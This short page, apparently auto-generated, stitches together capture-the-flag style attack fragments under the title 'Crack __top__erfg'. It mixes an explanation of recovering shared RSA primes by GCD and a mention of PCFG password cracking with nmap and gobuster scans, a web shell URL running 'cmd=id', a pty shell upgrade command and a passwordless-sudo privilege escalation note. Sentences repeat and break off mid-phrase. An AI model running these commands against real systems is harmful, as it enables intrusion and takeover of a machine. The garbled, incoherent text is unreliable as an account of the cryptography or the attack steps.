Crack __top__erfg

While computing the GCD of two numbers is fast ($O(n \log n)$), computing the GCD of millions of keys against millions of other keys is computationally heavy ($O(n^2)$).

Instead of guessing passwords at random or using a simple dictionary, a PCFG model analyzes a training set of leaked passwords to learn the "grammar" of how people build them.

nmap -sC -sV -oA crackerfg 10.10.10.10

If Device A generates key $N_1 = p_1 \times q_1$ and Device B generates key $N_2 = p_1 \times q_2$ (sharing the prime $p_1$ due to a "broken" RNG), an attacker can compute the Greatest Common Divisor (GCD) of $N_1$ and $N_2$ to retrieve the shared prime $p_1$.

http://10.10.10.10/uploads/shell.fg?cmd=id crackerfg

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

In RSA encryption:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Is "crackerfg" part of a or game you are using? While computing the GCD of two numbers is

User www-data can run /usr/bin/crackerfg as root without password.